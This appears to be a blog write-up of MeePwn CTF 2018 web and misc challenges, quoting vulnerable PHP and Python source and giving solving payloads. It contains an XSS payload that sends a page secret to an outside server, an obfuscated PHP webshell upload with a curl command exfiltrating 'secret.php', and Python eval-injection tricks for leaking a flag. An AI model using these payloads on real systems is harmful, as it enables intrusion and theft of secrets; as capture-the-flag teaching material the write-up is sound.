Meepwn CTF 2018

9 minute read

Web

Grandline

Source code:

<!-- 

/* * *  Power By 0xd0ff9 * * * 

--> 
<?php 
include "config.php"; 
if(isset($_GET['debug'])) 
{ 
    show_source(__FILE__); 
    die("..."); 
} 
?> 
<!DOCTYPE html> 
<html lang="en"> 
<head> 
  <title>The Two piece Treasure</title> 
  <meta charset="utf-8"> 
  <meta name="viewport" content="width=device-width, initial-scale=1"> 
  <!-- Latest compiled and minified CSS --> 
  <link rel="stylesheet" href="css/bootstrap.min.css"> 

  <!-- jQuery library --> 
  <script src="js/jquery.min.js"></script> 

  <!-- Latest compiled JavaScript --> 
  <script src="js/bootstrap.min.js"></script> 
</head> 
<body> 

<?php 



$grandline = $_SERVER['REQUEST_URI']; 
// Best Grandline is short 
$grandline = substr($grandline,0,500); 

echo "<!-- P/s: Your grand line is ".htmlentities(urldecode($grandline),ENT_QUOTES)." , this is not Luffy 's grand line -->"; 


?> 

<div class="container"> 
<div class="jumbotron"> 
    <h1>GRAND LINE</h1>  
    <p>Welcome to Grand Line, You are in the way to become Pirate King, now, let's defeat <a href="bot.php">BigMom</a> first</p>  
</div> 
<?php 

$loca = $_SERVER["REMOTE_ADDR"]; 

echo "<input name='location' value='".$loca."' type='hidden'><br>"; 
if ($loca === "127.0.0.1" || $loca==="::1") 
{ 
    echo "<input name='piece' value='".$secret."' type='hidden'>"; 
} 
else 
{ 
    echo "<input name='piece' value='Only whitebeard can see it, Gura gura gura' type='hidden'>"; 
} 

?> 

  <h4>If you eat fruit, you can't swim</h4> 
        <img src="images/grandline.png"/> 
        <br> 
        <form method="get" action="index.php"> 
        <input type="text" name="eat" placeholder="" value="gomu gomu no mi">         
        <input type="submit"> 
        </form> 
    <?php  
    if(isset($_GET['eat'])&&!empty($_GET['eat'])) 
    { 
        if($_GET['eat'] === "gomu gomu no mi") 
        { 
            echo "<p>Pirate, Let's go to your Grand Line</p>"; 
        } 
        else 
        { 
            echo "<p>You need to eat 'gomu gomu no mi'</p>"; 
        } 
    } 
     
    ?> 
</div> 


</body> 
</html> 

There is a debug which allows us to view source:

<!--

/* * *  Power By 0xd0ff9 * * *

-->
<?php
include "config.php";
if(isset($_GET['debug']))
{
    show_source(__FILE__);
    die("...");
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
  <title>The Two piece Treasure</title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <!-- Latest compiled and minified CSS -->
  <link rel="stylesheet" href="css/bootstrap.min.css">

  <!-- jQuery library -->
  <script src="js/jquery.min.js"></script>

  <!-- Latest compiled JavaScript -->
  <script src="js/bootstrap.min.js"></script>
</head>
<body>

<?php



$grandline = $_SERVER['REQUEST_URI'];
// Best Grandline is short
$grandline = substr($grandline,0,500);

echo "<!-- P/s: Your grand line is ".htmlentities(urldecode($grandline),ENT_QUOTES)." , this is not Luffy 's grand line -->";


?>

<div class="container">
<div class="jumbotron">
    <h1>GRAND LINE</h1>  
    <p>Welcome to Grand Line, You are in the way to become Pirate King, now, let's defeat <a href="bot.php">BigMom</a> first</p>  
</div>
<?php

$loca = $_SERVER["REMOTE_ADDR"];

echo "<input name='location' value='".$loca."' type='hidden'><br>";
if ($loca === "127.0.0.1" || $loca==="::1")
{
    echo "<input name='piece' value='".$secret."' type='hidden'>";
}
else
{
    echo "<input name='piece' value='Only whitebeard can see it, Gura gura gura' type='hidden'>";
}

?>

  <h4>If you eat fruit, you can't swim</h4>
        <img src="images/grandline.png"/>
        <br>
        <form method="get" action="index.php">
        <input type="text" name="eat" placeholder="" value="gomu gomu no mi">         
        <input type="submit">
        </form>
    <?php  
    if(isset($_GET['eat'])&&!empty($_GET['eat']))
    {
        if($_GET['eat'] === "gomu gomu no mi")
        {
            echo "<p>Pirate, Let's go to your Grand Line</p>";
        }
        else
        {
            echo "<p>You need to eat 'gomu gomu no mi'</p>";
        }
    }

    ?>
</div>


</body>
</html>
<!-- Infact, ?debug will help you learn expression to build Grand Line ( Ex: !<>+-*/ )
...

Notice the /* * * Power By 0xd0ff9 * * * , */ ) and echo "<!-- P/s: Your grand line is ".htmlentities(urldecode($grandline),ENT_QUOTES)." , this is not Luffy 's grand line -->"; , we can add a /*/ in our http request to enclose the comment. As a result, we can execute code as this:

http://url/*/alert(`1`/*

So, we use ajax to bring out my data, the final payload is like:

http://http://178.128.6.184/3915ef41890b96cc883ba6ef06b944805c9650ee/index.php/*/window.onload=function(){x=new XMLHttpRequest();x.open(`GET`,`http://yourserver/`+encodeURI(JSON.stringify(document.getElementsByName(`piece`)[0].value)));x.send()};console.log(``/*/

Omegasecto

Source code:

<?php 
ob_start(); 
session_start(); 
?> 
<html> 
<style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style> 
<head> 
  <link rel="stylesheet" href="assets/omega_sector.css">
  <link rel="stylesheet" href="assets/tsu_effect.css">
</head> 

<?php 

ini_set("display_errors", 0); 
include('secret.php'); 

$remote=$_SERVER['REQUEST_URI']; 

if(strpos(urldecode($remote),'..')) 
{ 
mapl_die(); 
} 

if(!parse_url($remote, PHP_URL_HOST)) 
{ 
    $remote='http://'.$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI'];
} 
$whoareyou=parse_url($remote, PHP_URL_HOST); 


if($whoareyou==="alien.somewhere.meepwn.team") 
{ 
    if(!isset($_GET['alien'])) 
    { 
        $wrong = <<<EOF 
<h2 id="intro" class="neon">You will be driven to hidden-street place in omega sector which is only for alien! Please verify your credentials first to get into the taxi!</h2> 
<h1 id="main" class="shadow">Are You ALIEN??</h1> 
<form id="main"> 
    <button type="submit" class="button-success" name="alien" value="Yes">Yes</button> 
    <button type="submit" class="button-error" name="alien" value="No">No</button> 
</form> 
<img src="assets/taxi.png" id="taxi" width="15%" height="20%" />
EOF; 
        echo $wrong; 
    } 
    if(isset($_GET['alien']) and !empty($_GET['alien']))
    { 
         if($_GET['alien']==='@!#$@!@@') 
        { 
            $_SESSION['auth']=hash('sha256', 'alien'.$salt);
            exit(header( "Location: alien_sector.php" ));
        } 
        else 
        { 
            mapl_die(); 
        } 
    } 

} 
elseif($whoareyou==="human.ludibrium.meepwn.team")
{ 
     
    if(!isset($_GET['human'])) 
    { 
        echo ""; 
        $wrong = <<<EOF 
<h2 id="intro" class="neon">hellu human, welcome to omega sector, please verify your credentials to get into the taxi!</h2> 
<h1 id="main" class="shadow">Are You Human?</h1> 
<form id="main"> 
    <button type="submit" class="button-success" name="human" value="Yes">Yes</button> 
    <button type="submit" class="button-error" name="human" value="No">No</button> 
</form> 
<img src="assets/taxi.png" id="taxi" width="15%" height="20%" />
EOF; 
        echo $wrong; 
    } 
    if(isset($_GET['human']) and !empty($_GET['human']))
    { 
         if($_GET['human']==='Yes') 
        { 
            $_SESSION['auth']=hash('sha256', 'human'.$salt);
            exit(header( "Location: omega_sector.php" ));
        } 
        else 
        { 
            mapl_die(); 
        } 
    } 

} 
else 
{ 
    echo '<h2 id="intro" class="neon">Seems like you are not belongs to this place, please comeback to ludibrium!</h2>'; 
    echo '<img src="assets/map.jpg" id="taxi" width="55%" height="55%" />';
    if(isset($_GET['is_debug']) and !empty($_GET['is_debug']) and $_GET['is_debug']==="1")
    { 
        show_source(__FILE__); 
    } 
} 

?> 
<body background="assets/background.jpg" class="cenback">
</body> 
<!-- is_debug=1 --> 
<!-- All images/medias credit goes to nexon, wizet --> 
</html> 
<?php ob_end_flush(); ?>

Click in and review the code, we can find a is_debug=1 comment. Add the line as http parameter. We can find:

<?php
ob_start();
session_start();
?>
<html>
<style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style>
<head>
  <link rel="stylesheet" href="assets/omega_sector.css">
  <link rel="stylesheet" href="assets/tsu_effect.css">
</head>

<?php

ini_set("display_errors", 0);
include('secret.php');

$remote=$_SERVER['REQUEST_URI'];

if(strpos(urldecode($remote),'..'))
{
mapl_die();
}

if(!parse_url($remote, PHP_URL_HOST))
{
    $remote='http://'.$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI'];
}
$whoareyou=parse_url($remote, PHP_URL_HOST);


if($whoareyou==="alien.somewhere.meepwn.team")
{
    if(!isset($_GET['alien']))
    {
        $wrong = <<<EOF
<h2 id="intro" class="neon">You will be driven to hidden-street place in omega sector which is only for alien! Please verify your credentials first to get into the taxi!</h2>
<h1 id="main" class="shadow">Are You ALIEN??</h1>
<form id="main">
    <button type="submit" class="button-success" name="alien" value="Yes">Yes</button>
    <button type="submit" class="button-error" name="alien" value="No">No</button>
</form>
<img src="assets/taxi.png" id="taxi" width="15%" height="20%" />
EOF;
        echo $wrong;
    }
    if(isset($_GET['alien']) and !empty($_GET['alien']))
    {
         if($_GET['alien']==='@!#$@!@@')
        {
            $_SESSION['auth']=hash('sha256', 'alien'.$salt);
            exit(header( "Location: alien_sector.php" ));
        }
        else
        {
            mapl_die();
        }
    }

}
elseif($whoareyou==="human.ludibrium.meepwn.team")
{

    if(!isset($_GET['human']))
    {
        echo "";
        $wrong = <<<EOF
<h2 id="intro" class="neon">hellu human, welcome to omega sector, please verify your credentials to get into the taxi!</h2>
<h1 id="main" class="shadow">Are You Human?</h1>
<form id="main">
    <button type="submit" class="button-success" name="human" value="Yes">Yes</button>
    <button type="submit" class="button-error" name="human" value="No">No</button>
</form>
<img src="assets/taxi.png" id="taxi" width="15%" height="20%" />
EOF;
        echo $wrong;
    }
    if(isset($_GET['human']) and !empty($_GET['human']))
    {
         if($_GET['human']==='Yes')
        {
            $_SESSION['auth']=hash('sha256', 'human'.$salt);
            exit(header( "Location: omega_sector.php" ));
        }
        else
        {
            mapl_die();
        }
    }

}
else
{
    echo '<h2 id="intro" class="neon">Seems like you are not belongs to this place, please comeback to ludibrium!</h2>';
    echo '<img src="assets/map.jpg" id="taxi" width="55%" height="55%" />';
    if(isset($_GET['is_debug']) and !empty($_GET['is_debug']) and $_GET['is_debug']==="1")
    {
        show_source(__FILE__);
    }
}

?>
<body background="assets/background.jpg" class="cenback">
</body>
<!-- is_debug=1 -->
<!-- All images/medias credit goes to nexon, wizet -->
</html>

When our URI match specific value, the site will add our session to a white list, which allows us to access alien_sector.php and omega_sector.php. To access that, we can abuse our HTTP request to following format:

GET http://alien.somewhere.meepwn.team HTTP/1.1
Host: alien.somewhere.meepwn.team

... // Remaining headers

This works for both address. However, I choose to crack alien_sector.php. It has an arbitrary upload vulnerability. We can edit type to change it to PHP file:

POST /alien_sector.php HTTP/1.1
Host: 138.68.228.12
Origin: http://138.68.228.12
Content-Type: application/x-www-form-urlencoded
DNT: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://138.68.228.12/alien_sector.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: PHPSESSID=lik2u9ed0rtas5cl72knnht0p0
Connection: close

message=#$%^&&type=php //like this 

We cannot upload message with letters and numbers, and the length of our message should be less than 40. So, my final payload is:

<?=$_="!';*"^"~`~~";$$_["-"]($$_["_"]);

Let’s analyze it part by part:

  • The first one is <?=, which equals to <?php echo. We can use it to replace the tag with characters.

  • Below is the same as $_="_GET". But we use xor to encrypt the string to bypass restriction.
    $_="!';*"^"~`~~";
    
  • $$_["-"]($$_["_"]); equals to $_GET['-']($_GET['_']). It turn our http parameter - to function name and _ to parameter. We can use it to execute system("payload")

Finally, I decide to use curl bring out data, like this:

http://138.68.228.12/alien_message/8d598b16d9afa46f01d3fa03dc6bdb8b.php?-=system&_=curl "http://mysever" -d "a=`cat ../secret.php`"

. Remember to escape it!

The ?> is actually not needed during passing, so I do not add it.

MISC

PyCalx 1

Here is the simplified source:

#!/usr/bin/env python
import cgi
import sys
from html import escape

FLAG = open('/var/www/flag','r').read()

arguments = cgi.FieldStorage()

if 'source' in arguments:
    source = arguments['source'].value
else:
    source = 0

if source == '1':
    print('<pre>'+escape(str(open(__file__,'r').read()))+'</pre>')

if 'value1' in arguments and 'value2' in arguments and 'op' in arguments:

    def get_value(val):
        val = str(val)[:64]
        if str(val).isdigit(): return int(val)
        blacklist = ['(',')','[',']','\'','"'] # I don't like tuple, list and dict.
        if val == '' or [c for c in blacklist if c in val] != []:
            sys.exit(0)
        return val

    def get_op(val):
        val = str(val)[:2]
        list_ops = ['+','-','/','*','=','!']
        if val == '' or val[0] not in list_ops:
            sys.exit(0)
        return val

    op = get_op(arguments['op'].value)
    value1 = get_value(arguments['value1'].value)
    value2 = get_value(arguments['value2'].value)

    if str(value1).isdigit() ^ str(value2).isdigit():
        print('<center>Types of the values don\'t match</center>')
        sys.exit(0)

    calc_eval = str(repr(value1)) + str(op) + str(repr(value2))
    print('>>>> print('+escape(calc_eval)+')')

    try:
        result = str(eval(calc_eval))
        if result.isdigit() or result == 'True' or result == 'False':
            print(result)
        else:
            print("Invalid") # Sorry we don't support output as a string due to security issue.
    except:
        print("Invalid")

We can pass our input in parameter value1, value2, and op. The first two values should be less than 64 bit and cannot have any of ()[]"', while the the first byte of op can only be +-/*=!. Also, it only allows us to return number and boolean.

We need to have a look on repr. It will add quotes in you input to keep it as a string. However, we still control the second byte of op. We can change it to ' to escape the sandbox. What’s more, we need to add a # at the end of value2. Otherwise, the parser of python will throw an error because we have 5 ' now.

Therefore, we can set value1=TheValueYouWantToGuess,op=>', and value2=+ FLAG#, which equals to:

eval('ValueOfFlag' > '' + FLAG)

Because Python supports string comparison(e.g. 'AAAB' > 'AAAA' # True). We can brute-force the flag. But the runner of the CTF is a dick. After getting MeePwnCTF{python3.66666666666666_, the next byte is one of ()[]"'. How can we get it? Look at the source value in the code. That’s a string we control without being filtered! Thus, just simply change our payload to

 http://178.128.96.203/cgi-bin/server.py?value1=MeePwnCTF{python3.66666666666666_&op=%2B%27&value2=%2bsource+in+FLAG+and+True+or+False%23&source=(

, which execute:

eval("'MeePwnCTF{python3.66666666666666_'+''+source in FLAG #'")

source=( here

So, by brute-forcing remaining characters, we can get the flag.

PyCalx 2

Source code:

#!/usr/bin/env python
import cgi;
import sys
from html import escape

FLAG = open('/var/www/flag','r').read()

OK_200 = """Content-type: text/html

<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css">
<center>
<title>PyCalx</title>
<h1>PyCalx</h1>
<form>
<input class="form-control col-md-4" type=text name=value1 placeholder='Value 1 (Example: 1  abc)' autofocus/>
<input class="form-control col-md-4" type=text name=op placeholder='Operator (Example: + - * ** / // == != )' />
<input class="form-control col-md-4" type=text name=value2 placeholder='Value 2 (Example: 1  abc)' />
<input class="form-control col-md-4 btn btn-success" type=submit value=EVAL />
</form>
<a href='?source=1'>Source</a>
</center>
"""

print(OK_200)
arguments = cgi.FieldStorage()

if 'source' in arguments:
    source = arguments['source'].value
else:
    source = 0

if source == '1':
    print('<pre>'+escape(str(open(__file__,'r').read()))+'</pre>')

if 'value1' in arguments and 'value2' in arguments and 'op' in arguments:

    def get_value(val):
        val = str(val)[:64]
        if str(val).isdigit(): return int(val)
        blacklist = ['(',')','[',']','\'','"'] # I don't like tuple, list and dict.
        if val == '' or [c for c in blacklist if c in val] != []:
            print('<center>Invalid value</center>')
            sys.exit(0)
        return val

    def get_op(val):
        val = str(val)[:2]
        list_ops = ['+','-','/','*','=','!']
        if val == '' or val[0] not in list_ops:
            print('<center>Invalid op</center>')
            sys.exit(0)
        return val

    op = get_op(get_value(arguments['op'].value))
    value1 = get_value(arguments['value1'].value)
    value2 = get_value(arguments['value2'].value)

    if str(value1).isdigit() ^ str(value2).isdigit():
        print('<center>Types of the values don\'t match</center>')
        sys.exit(0)

    calc_eval = str(repr(value1)) + str(op) + str(repr(value2))

    print('<div class=container><div class=row><div class=col-md-2></div><div class="col-md-8"><pre>')
    print('>>>> print('+escape(calc_eval)+')')

    try:
        result = str(eval(calc_eval))
        if result.isdigit() or result == 'True' or result == 'False':
            print(result)
        else:
            print("Invalid") # Sorry we don't support output as a string due to security issue.
    except:
        print("Invalid")


    print('>>> </pre></div></div></div>')

Is basically the same as previous one except the op is also filter by getvalue. But we can use f'' string to bypass.

TL;DR. Almost the same with previous part, but what we execute is:

eval("'True'+f'{source * 0 if source in FLAG else 1}'#'")

The value1=True, op=f', and value2=f'{source * 0 if source in FLAG else 1}#. Then guess flag as what we previously did.

Leave a comment